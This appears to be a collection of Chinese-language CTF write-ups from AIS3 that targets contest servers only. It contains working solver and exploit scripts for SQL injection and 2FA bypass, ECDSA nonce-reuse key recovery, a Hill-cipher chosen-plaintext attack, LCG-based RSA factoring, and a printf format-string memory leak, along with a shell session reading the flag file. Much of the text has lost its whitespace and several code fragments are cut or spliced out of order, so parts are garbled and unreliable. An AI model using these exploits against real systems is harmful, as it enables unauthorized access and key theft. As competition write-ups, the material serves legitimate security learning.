Category: Web Tags: SQL Injection, 2FA Bypass, Cookie Abuse
題目描述
註:我打出這題的時候還沒附原始碼,黑箱就成功打出來了,所以我就不附原始碼了:D
Welcome to my Login Screen! This is your go-to space for important announcements, upcoming events, helpful resources, and community updates. Whether you're looking for deadlines, meeting times, or opportunities to get involved, you'll find all the essential information posted here. Be sure to check back regularly to stay informed and connected! http://login-screen.ctftime.uk:36368/
<!DOCTYPE html> <htmllang="en"> <head> <title>Dashboard</title> <scriptsrc="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.6/purify.min.js"></script> <linkrel="stylesheet"href="styles.css"> <metaname="viewport"content="width=device-width, initial-scale=1"> </head> <body> <mainclass="container"> <h2>Welcome, admin!</h2> <h3>Your Previous Posts</h3> <divclass='box'><strong>2025-05-05</strong><divid='post1'class='post'>Just watched this excellent technical breakdown: https://youtu.be/jWvuUeUyyKU - it's a must-see if you're into cybersecurity, reverse engineering, or low-level internals. The explanations are clear, insightful, and packed with practical takeaways. Highly recommended for anyone looking to deepen their understanding or just enjoy quality analysis.</div></div>; <divclass='box'><strong>2025-05-06</strong><divid='post2'class='post'>AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}</div></div>; </article> <ahref="logout.php"><buttonclass="big_button">Logout</button></a> </main> </body> </html>
export function flagchecker(a:int):int { var b:int = g_a; var c:int = 96; var d:int = b - c; g_a = d; d[22]:int = a; var e:int = -39934163; d[21]:int = e; var f:int = 64; var g:long_ptr = d + f; var h:long = 0L; g[0] = h; var i:int = 56; var j:long_ptr = d + i; j[0] = h; var k:int = 48; var l:long_ptr = d + k; l[0] = h; d[5]:long = h; d[4]:long = h; var m:long = 7577352992956835434L; d[4]:long = m; var n:long = 7148661717033493303L; d[5]:long = n; var o:long = -7081446828746089091L; d[6]:long = o; var p:long = -7479441386887439825L; d[7]:long = p; var q:long = 8046961146294847270L; d[8]:long = q; var r:int = d[22]:int; var s:int = 0; var t:int = r != s; var u:int = 1; var v:int = t & u; if (eqz(v)) goto B_c; var w:int = d[22]:int; var x:int = f_n(w); var y:int = 40; var z:int = x != y; var aa:int = 1; var ba:int = z & aa; if (eqz(ba)) goto B_b; label B_c: var ca:int = 0; d[23]:int = ca; goto B_a; label B_b: var da:int = d[22]:int; d[7]:int = da; var ea:int = 0; d[6]:int = ea; loop L_e { var fa:int = d[6]:int; var ga:int = 5; var ha:int = fa < ga; var ia:int = 1; var ja:int = ha & ia; if (eqz(ja)) goto B_d; var ka:int = d[7]:int; var la:int = d[6]:int; var ma:int = 3; var na:int = la << ma; var oa:long_ptr = ka + na; var pa:long = oa[0]; d[2]:long = pa; var qa:int = d[6]:int; var ra:int = 6; var sa:int = qa * ra; var ta:int = -39934163; var ua:int = ta >> sa; var va:int = 63; var wa:int = ua & va; d[3]:int = wa; var xa:long = d[2]:long; var ya:int = d[3]:int; var za:long = f_i(xa, ya); var ab:int = d[6]:int; var bb:int = 32; var cb:int = d + bb; var db:int = cb; var eb:int = 3; var fb:int = ab << eb; var gb:long_ptr = db + fb; var hb:long = gb[0]; var ib:int = za != hb; var jb:int = 1; var kb:int = ib & jb; if (eqz(kb)) goto B_f; var lb:int = 0; d[23]:int = lb; goto B_a; label B_f: var mb:int = d[6]:int; var nb:int = 1; var ob:int = mb + nb; d[6]:int = ob; continue L_e; } label B_d: var pb:int = 1; d[23]:int = pb; label B_a: var qb:int = d[23]:int; var rb:int = 96; var sb:int = d + rb; g_a = sb; return qb; }
import hashlib, os from ecdsa import SigningKey, VerifyingKey, NIST192p from ecdsa.util import number_to_string, string_to_number from Crypto.Util.number import getRandomRange from flag import flag
FLAG = flag
classLCG: def__init__(self, seed, a, c, m): self.state = seed self.a = a self.c = c self.m = m
defsign(msg: bytes): h = int.from_bytes(hashlib.sha1(msg).digest(), 'big') % order k = lcg.next() R = k * curve.generator r = R.x() % order s = (pow(k, -1, order) * (h + r * sk.privkey.secret_multiplier)) % order return r, s
defverify(msg: str, r: int, s: int): h = int.from_bytes(hashlib.sha1(msg.encode()).digest(), 'big') % order try: sig = number_to_string(r, order) + number_to_string(s, order) return vk.verify_digest(sig, hashlib.sha1(msg.encode()).digest()) except: returnFalse
elif opt == "verify": msg = input("Enter message: ").strip() r = int(input("Enter r (hex): ").strip(), 16) s = int(input("Enter s (hex): ").strip(), 16)
if verify(msg, r, s): if msg == "give_me_flag": print("✅ Correct signature! Here's your flag:") print(FLAG.decode()) else: print("✔️ Signature valid, but not the target message.") else: print("❌ Invalid signature.")
else: print("Unknown option. Try again.")
解題思路
伺服器使用如下方式簽名訊息:
1 2 3 4 5 6 7 8 9 10 11 12
classLCG: def__init__(self, seed, a, c, m): self.state = seed self.a = a self.c = c self.m = m
import hashlib from pwn import remote, context from ecdsa import NIST192p # from ecdsa.util import number_to_string # Not strictly needed for calculations from Crypto.Util.number import inverse, getRandomRange # Added getRandomRange for completeness
# Challenge parameters HOST = "chals1.ais3.org" PORT = 19000
# Set pwntools context for cleaner output if desired (optional) # context.log_level = 'debug'
defget_hash_int(msg_bytes: bytes) -> int: """Calculates the integer hash h used in the challenge's sign function.""" # The challenge's sign function does: int.from_bytes(hashlib.sha1(msg).digest(), 'big') % order # Since SHA1 output (160 bits) is smaller than NIST192p order (192 bits), # the % order is usually redundant but harmless. returnint.from_bytes(hashlib.sha1(msg_bytes).digest(), 'big')
defmain(): io = remote(HOST, PORT)
# Get first signature for example_msg io.sendlineafter(b"Enter option: ", b"get_example") io.recvuntil(b"msg: example_msg\n") # Wait for the message line io.recvuntil(b"r: ") # Wait for "r: " r1_hex = io.recvline().decode().strip() # Read the hex value of r1 io.recvuntil(b"s: ") # Wait for "s: " s1_hex = io.recvline().decode().strip() # Read the hex value of s1 r1 = int(r1_hex, 16) s1 = int(s1_hex, 16) print(f"[*] Got first signature: r1 = {hex(r1)}, s1 = {hex(s1)}")
# Get second signature for example_msg io.sendlineafter(b"Enter option: ", b"get_example") io.recvuntil(b"msg: example_msg\n") # Wait for the message line io.recvuntil(b"r: ") # Wait for "r: " r2_hex = io.recvline().decode().strip() # Read the hex value of r2 io.recvuntil(b"s: ") # Wait for "s: " s2_hex = io.recvline().decode().strip() # Read the hex value of s2 r2 = int(r2_hex, 16) s2 = int(s2_hex, 16) print(f"[*] Got second signature: r2 = {hex(r2)}, s2 = {hex(s2)}")
# Calculate private key d (sk_priv) # d = (s1 * k1 - h_example) * inv_r1 (mod ORDER) sk_priv_num = (s1 * k1 % ORDER - h_example + ORDER) % ORDER sk_priv = (sk_priv_num * inv_r1) % ORDER print(f"[*] Recovered private key d = {hex(sk_priv)}")
# Sign the target message "give_me_flag" h_flag = get_hash_int(TARGET_MSG_BYTES)
k_flag = 42
ifnot (0 < k_flag < ORDER): # This check is mostly for robustness if k_flag was dynamic print(f"[!] Chosen k_flag ({k_flag}) is invalid or too simple.") # Fallback using getRandomRange if needed, ensure it's imported k_flag = getRandomRange(1, ORDER - 1) print(f"[!] Using random k_flag = {hex(k_flag)}")
R_flag_point = k_flag * GENERATOR r_flag = R_flag_point.x() % ORDER
if r_flag == 0: print("[!] r_flag is 0. This is rare. Try a different k_flag or re-run.") io.close() return
try: inv_k_flag = inverse(k_flag, ORDER) except ValueError: print(f"[!] k_flag ({hex(k_flag)}) is not invertible modulo ORDER. Try re-running / different k_flag.") io.close() return
s_flag_intermediate = (h_flag + r_flag * sk_priv % ORDER) % ORDER s_flag = (inv_k_flag * s_flag_intermediate) % ORDER
if s_flag == 0: print("[!] s_flag is 0. This is rare. Try a different k_flag or re-run.") io.close() return
# Send the signature for verification io.sendlineafter(b"Enter option: ", b"verify") io.sendlineafter(b"Enter message: ", TARGET_MSG_STR.encode()) # Server expects string, then encodes io.sendlineafter(b"Enter r (hex): ", hex(r_flag).encode()) io.sendlineafter(b"Enter s (hex): ", hex(s_flag).encode())
# Get the flag result = io.recvall(timeout=5).decode() # Increased timeout slightly if needed print("\n[*] Server response:") print(result)
if"AIS3"in result: print("\n[+] Flag potentially found!") else: print("\n[-] Flag not found in response. Exploit might have failed.")
io.close()
if __name__ == "__main__": main()
FLAG
1
AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily...}
Stream
Category:Crypto
題目敘述
I love streaming randomly online!
Author : Whale120
題目內容
chal.py 原始碼
1 2 3 4 5 6 7 8 9 10 11 12
from random import getrandbits import os from hashlib import sha512 from flag import flag
# 从 output_content 中提取所有十六进制字符串,并转换成整数 lines = [line.strip() for line in output_content.strip().split('\n') if line.strip()] ifnot lines: print("Error: output.txt content is empty or malformed.") exit()
defencrypt_blocks(blocks): C = [] for i inrange(len(blocks)): if i == 0: c = (A @ blocks[i]) % p else: c = (A @ blocks[i] + B @ blocks[i-1]) % p C.append(c) return C
flag = "AIS3{Fake_FLAG}" blocks = str_to_blocks(flag) ciphertext = encrypt_blocks(blocks)
print("Encrypted flag:") for c in ciphertext: print(c)
t = input("input: ") blocks = str_to_blocks(t) ciphertext = encrypt_blocks(blocks) for c in ciphertext: print(c)
解題思路
伺服器實作了一種基於 Hill Cipher 的加密系統,使用兩個隨機可逆矩陣 A 與 B。加密過程如下:
import numpy as np from pwn import remote import sympy # For modular matrix inverse
# Challenge parameters p = 251 n = 8
defparse_ciphertext_line(line_bytes): line_str = line_bytes.decode().strip() # Expect format like "[ 10 20 30 ... ]" or "[10 20 30 ...]" if line_str.startswith('[') and line_str.endswith(']'): line_str = line_str[1:-1] parts = line_str.split() return np.array([int(x) for x in parts], dtype=int)
defsolve(): # Connect to the server # Replace with actual host and port # conn = remote("chals1.ais3.org", 18000) # For local testing using chall.py: # from pwn import process # conn = process(['python3', 'chall.py'])
# --- Simulating server for local testing --- # Remove this block when running against the actual server classSimulatedServer: def__init__(self): self.A_true = self._gen_matrix_true(n, p) self.B_true = self._gen_matrix_true(n, p) flag_str = "AIS3{Test_Flag_Content_12345}" flag_blocks = self._str_to_blocks_true(flag_str) self.flag_ciphertext = self._encrypt_blocks_true(flag_blocks, self.A_true, self.B_true)
def_gen_matrix_true(self, n_val, p_val): whileTrue: M = np.random.randint(0, p_val, size=(n_val, n_val)) if np.linalg.matrix_rank(M % p_val) == n_val: return M % p_val
def_encrypt_blocks_true(self, blocks, A_m, B_m): C_list = [] for i inrange(len(blocks)): if i == 0: c = (A_m @ blocks[i]) % p else: c = (A_m @ blocks[i] + B_m @ blocks[i-1]) % p C_list.append(c) return C_list
defsend_payload_and_get_response(self, payload_bytes_val): user_blocks = self._str_to_blocks_true(payload_bytes_val.decode('latin-1')) # Use latin-1 for bytes 0-255 user_ciphertext = self._encrypt_blocks_true(user_blocks, self.A_true, self.B_true) lines = [] for c_block in user_ciphertext: lines.append(str(c_block).encode()) returnb"\n".join(lines)
# Comment out SimulatedServer and uncomment actual connection for CTF # ---- Start of code using SimulatedServer ---- # sim_server = SimulatedServer() # print("Simulated Server A:\n", sim_server.A_true) # print("Simulated Server B:\n", sim_server.B_true) # initial_output = sim_server.get_flag_ciphertext() # print(initial_output.decode()) # ---- End of code using SimulatedServer ----
# ---- Start of actual connection code ---- conn = remote("chals1.ais3.org", 18000) initial_output = conn.recvuntil(b"input: ") # ---- End of actual connection code ----
# 1. Receive and parse encrypted flag flag_ciphertext_blocks = [] initial_lines = initial_output.split(b'\n') # Find where the flag ciphertext starts start_idx = 0 for i, line_b inenumerate(initial_lines): ifb"Encrypted flag:"in line_b: start_idx = i + 1 break
for line_b in initial_lines[start_idx:]: line_s = line_b.decode().strip() ifnot line_s or"input:"in line_s : # Stop if empty line or prompt break if line_s.startswith('[') and line_s.endswith(']'): flag_ciphertext_blocks.append(parse_ciphertext_line(line_b))
print(f"Received {len(flag_ciphertext_blocks)} encrypted flag blocks.")
# 2. Craft special plaintext # P = [e_0, 0, e_1, 0, ..., e_{n-1}, 0] # (Using e_i for (i+1)-th basis vector to align with 0-indexed loop) payload_list = [] identity_vectors = np.eye(n, dtype=int) zero_vector_bytes = bytes([0] * n)
for i inrange(n): # e_i (current basis vector) payload_list.extend(identity_vectors[i].tolist()) # zero vector payload_list.extend([0] * n)
# Convert list of ints to bytes # Ensure characters are in latin-1 range if values > 127 payload_bytes = b"" for val in payload_list: payload_bytes += bytes([val])
print(f"Crafted payload of length {len(payload_bytes)} bytes.")
# 3. Send plaintext and receive ciphertext for A and B columns # ---- Start of code using SimulatedServer ---- # user_ciphertext_output = sim_server.send_payload_and_get_response(payload_bytes) # print(user_ciphertext_output.decode()) # ---- End of code using SimulatedServer ----
# ---- Start of actual connection code ---- conn.sendline(payload_bytes) user_ciphertext_output = conn.recvall(timeout=5) # Adjust timeout as needed # ---- End of actual connection code ----
user_c_blocks_raw = user_ciphertext_output.strip().split(b'\n') user_c_blocks = [parse_ciphertext_line(line) for line in user_c_blocks_raw if line.strip()]
print(f"Received {len(user_c_blocks)} ciphertext blocks for our payload.")
# 4. Reconstruct matrices A and B A_cols = [] B_cols = [] for i inrange(n): A_cols.append(user_c_blocks[2 * i]) B_cols.append(user_c_blocks[2 * i + 1])
A = np.column_stack(A_cols) B = np.column_stack(B_cols)
print("Reconstructed matrix A:\n", A) print("Reconstructed matrix B:\n", B)
# 5. Compute modular inverse of A A_sympy = sympy.Matrix(A.tolist()) A_inv_sympy = A_sympy.inv_mod(p) A_inv = np.array(A_inv_sympy).astype(int)
print("Computed A_inv (mod p):\n", A_inv)
# 6. Decrypt the flag decrypted_flag_blocks_list = []
# Decrypt first block: P_0 = A_inv * C_0 P0_flag_vec = (A_inv @ flag_ciphertext_blocks[0]) % p P0_flag_vec = (P0_flag_vec + p) % p # Ensure positive decrypted_flag_blocks_list.append(P0_flag_vec)
# Decrypt subsequent blocks: P_i = A_inv * (C_i - B * P_{i-1}) for i inrange(1, len(flag_ciphertext_blocks)): prev_P_flag_vec = decrypted_flag_blocks_list[i-1] term_BP = (B @ prev_P_flag_vec) % p
C_i_vec = flag_ciphertext_blocks[i] term_C_minus_BP = (C_i_vec - term_BP + p) % p # Ensure positive before A_inv mult
Pi_flag_vec = (A_inv @ term_C_minus_BP) % p Pi_flag_vec = (Pi_flag_vec + p) % p # Ensure positive decrypted_flag_blocks_list.append(Pi_flag_vec)
# 7. Reconstruct the flag string flag_bytes_list = [] for block_vec in decrypted_flag_blocks_list: flag_bytes_list.extend(block_vec.tolist())
# Remove padding (null bytes at the end) whilelen(flag_bytes_list) > 0and flag_bytes_list[-1] == 0: flag_bytes_list.pop()
flag = bytes(flag_bytes_list).decode('utf-8', errors='ignore')
print("\nDecrypted flag:") print(flag)
# ---- Start of actual connection code ---- conn.close() # ---- End of actual connection code ----
import gmpy2 from Crypto.Util.number import long_to_bytes, bytes_to_long from sympy.ntheory.residue_ntheory import sqrt_mod # For quadratic congruence
# Data from output.txt h0 = 2907912348071002191916245879840138889735709943414364520299382570212475664973498303148546601830195365671249713744375530648664437471280487562574592742821690 h1 = 5219570204284812488215277869168835724665994479829252933074016962454040118179380992102083718110805995679305993644383407142033253210536471262305016949439530 h2 = 3292606373174558349287781108411342893927327001084431632082705949610494115057392108919491335943021485430670111202762563173412601653218383334610469707428133 M = 9231171733756340601102386102178805385032208002575584733589531876659696378543482750405667840001558314787877405189256038508646253285323713104862940427630413 n = 20599328129696557262047878791381948558434171582567106509135896622660091263897671968886564055848784308773908202882811211530677559955287850926392376242847620181251966209002883852930899738618123390979377039185898110068266682754465191146100237798667746852667232289994907159051427785452874737675171674258299307283 e = 65537 c = 13859390954352613778444691258524799427895807939215664222534371322785849647150841939259007179911957028718342213945366615973766496138577038137962897225994312647648726884239479937355956566905812379283663291111623700888920153030620598532015934309793660829874240157367798084893920288420608811714295381459127830201
# Step 1: Recover LCG parameters a, b diff_h1_h0 = (h1 - h0 + M) % M if diff_h1_h0 == 0: print("Error: h1 - h0 is 0 mod M") exit()
inv_diff_h1_h0 = gmpy2.invert(diff_h1_h0, M) lcg_a = ((h2 - h1 + M) % M * inv_diff_h1_h0) % M lcg_b = (h1 - (lcg_a * h0) % M + M) % M
# Step 2: Iterate k_q (number of LCG steps from p to q) MAX_KQ = 5000# Upper bound for genPrime(p) iterations
for k_q inrange(1, MAX_KQ + 1): if k_q % 100 == 0: print(f"Trying k_q = {k_q}")
# Calculate A_kq = a^k_q mod M # Calculate B_kq = b * (a^(k_q-1) + ... + a + 1) mod M
A_kq = gmpy2.powmod(lcg_a, k_q, M)
if lcg_a == 1: sum_geometric_terms = k_q % M else: term_a_k_q_minus_1 = (gmpy2.powmod(lcg_a, k_q, M) - 1 + M) % M inv_a_minus_1 = gmpy2.invert((lcg_a - 1 + M) % M, M) sum_geometric_terms = (term_a_k_q_minus_1 * inv_a_minus_1) % M
B_kq = (lcg_b * sum_geometric_terms) % M
# Solve A_s * p^2 + B_s * p + C_s = 0 (mod M) # A_s = A_kq # B_s = B_kq # C_s = -n mod M A_s = A_kq B_s = B_kq C_s = (-n % M + M) % M
p_roots = [] if A_s == 0: if B_s != 0: inv_B_s = gmpy2.invert(B_s, M) p_sol = (-C_s * inv_B_s % M + M) % M p_roots.append(p_sol) else: delta_cong = (B_s * B_s - 4 * A_s * C_s % M + M) % M sqrt_D_sympy_list = sqrt_mod(delta_cong, M, all_roots=True)
if sqrt_D_sympy_list: inv_2A_s = gmpy2.invert((2 * A_s) % M, M) for sqrt_D_val in sqrt_D_sympy_list: p_sol = ((-B_s + sqrt_D_val + M) % M * inv_2A_s) % M p_roots.append(p_sol)
unique_p_roots = sorted(list(set(p_roots)))
for p_cand_mod_M in unique_p_roots: p_cand = p_cand_mod_M
if p_cand == 0or p_cand >= n : continue if n % p_cand != 0: continue
q_cand = n // p_cand
ifnot (gmpy2.is_prime(p_cand) and gmpy2.is_prime(q_cand)): continue
if p_cand == q_cand: continue
# Verification: q_cand must be the k_q-th LCG output from p_cand # and intermediate LCG outputs must not be prime current_val_in_seq = p_cand path_is_valid = True # The loop for k_q assumes q is the k_q-th number *generated by rng applied to p and subsequent values*. # So, if k_q = 1, q = rng(p). There are 0 intermediate values. Loop range(0) is empty. # If k_q = 2, q = rng(rng(p)). Intermediate is rng(p). Loop range(1) checks rng(p). for _ inrange(k_q - 1): current_val_in_seq = (lcg_a * current_val_in_seq + lcg_b) % M if gmpy2.is_prime(current_val_in_seq): path_is_valid = False break
ifnot path_is_valid: continue
# The final LCG output that should be q final_generated_q = (lcg_a * current_val_in_seq + lcg_b) % M
if final_generated_q == q_cand: print(f"\n!!! Found potential p and q at k_q = {k_q} !!!") print(f"p = {p_cand}") print(f"q = {q_cand}")
phi = (p_cand - 1) * (q_cand - 1)
if gmpy2.gcd(e, phi) != 1: print("Error: e is not coprime with phi.") continue
try: flag = long_to_bytes(m_rsa) print(f"Byte flag: {flag}") if flag.startswith(b"AIS3{") and flag.endswith(b"}"): print(f"Successfully decrypted flag: {flag.decode()}") exit() else: # Try to decode as UTF-8, ignore errors if any print(f"Decrypted message: {flag.decode(errors='ignore')}") print("Format does not look like a flag. Continuing search or check logic.") except Exception as error_decode: print(f"Error decoding message: {m_rsa} -> {error_decode}")
print(f"\nCannot find p and q within MAX_KQ = {MAX_KQ} iterations.")
ls / bin boot dev etc flag home lib lib64 media mnt opt proc root run run.sh sbin srv sys tmp usr var cat flag AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._5b7a94411964ba639d7548f048c22877}
# --- IMPORTANT NOTE FOR WINDOWS USERS --- # For the best experience, it is highly recommended to use pwntools # within Windows Subsystem for Linux (WSL). # ---
context.arch = 'amd64' # context.log_level = 'debug' # Uncomment for very verbose output
HOST = "chals1.ais3.org" PORT = 50960
# This character will be the literal char printed after "Format number : %" # It must be a punctuation or digit. Underscore is good. LEAK_PAYLOAD_PREFIX_CHAR = b'_'
defconnect_to_server(): return remote(HOST, PORT)
defleak_char_value_at_printf_index(printf_idx): p = None # Our input: e.g., "_%20$" # Server effectively processes: format string "Format number : %%_ %20$d \n" # where the %20$d part prints the 20th printf argument. payload_str = LEAK_PAYLOAD_PREFIX_CHAR.decode() + f"%{printf_idx}$"
try: p = connect_to_server() prompt = p.recvuntil(b"What format do you want ? ", timeout=3.0) ifnot prompt.endswith(b"What format do you want ? "): log.warning("Index=%s, Payload='%s': Did not receive full prompt. Received: %r", printf_idx, payload_str, prompt) if p: p.close() returnNone, "Prompt not received"
payload_bytes = payload_str.encode()
iflen(payload_bytes) > 15: # Max read size for format string part log.error("Payload '%s' is too long (%s bytes). Max 15.", payload_str, len(payload_bytes)) if p: p.close() returnNone, "Payload too long"
if p: p.close() response_str = response_data.decode(errors='ignore')
# Regex to parse: "Format number : %<PREFIX_CHAR><leaked_num_val>\n" # Example: "Format number : %_65\n" regex_pattern_str = r"Format number : %" + re.escape(LEAK_PAYLOAD_PREFIX_CHAR.decode()) + r"(-?\d+)\n" match = re.search(regex_pattern_str, response_str)
ifmatch: leaked_int_str = match.group(1) returnint(leaked_int_str), response_str else: log.debug("Index=%s, Payload='%s', No regex match in response: %r", printf_idx, payload_str, response_str) returnNone, response_str
except PwnlibException as e: log.warning("Index=%s, Payload='%s': Outer PwnlibException: %s", printf_idx, payload_str, e) if p: p.close() returnNone, f"PwnlibException: {e}" except Exception as e: log.error("Index=%s, Payload='%s': An unexpected error: %s", printf_idx, payload_str, e) if p: p.close() returnNone, f"Unexpected error: {e}"
# --- Main Exploit Logic ---
# Based on analysis, printf argument index 20 corresponds to flag[0] STARTING_PRINTF_INDEX_FOR_FLAG = 20
log.info(f"Targeting: {HOST}:{PORT}") log.info(f"Using payload prefix char: '{LEAK_PAYLOAD_PREFIX_CHAR.decode()}'") log.info(f"Starting flag leak from printf argument index: {STARTING_PRINTF_INDEX_FOR_FLAG}")
leaked_flag_bytes = b"" # Max flag length 0x100 (256 bytes) for i inrange(256): current_printf_idx = STARTING_PRINTF_INDEX_FOR_FLAG + i
log.info("Leaking char for flag[%s] using printf index %s...", i, current_printf_idx) char_val, resp_full = leak_char_value_at_printf_index(current_printf_idx)
if char_val isNone: log.warning("Failed to leak at printf index %s (for flag[%s]). Stopping. Response snippet: %r", current_printf_idx, i, resp_full[:200] if resp_full else"None") break
ifnot (0 <= char_val <= 255): log.warning("Leaked value %s at printf index %s (for flag[%s]) is not a valid byte. Stopping.", char_val, current_printf_idx, i) # You might want to append a placeholder or just stop # For now, let's stop cleanly. break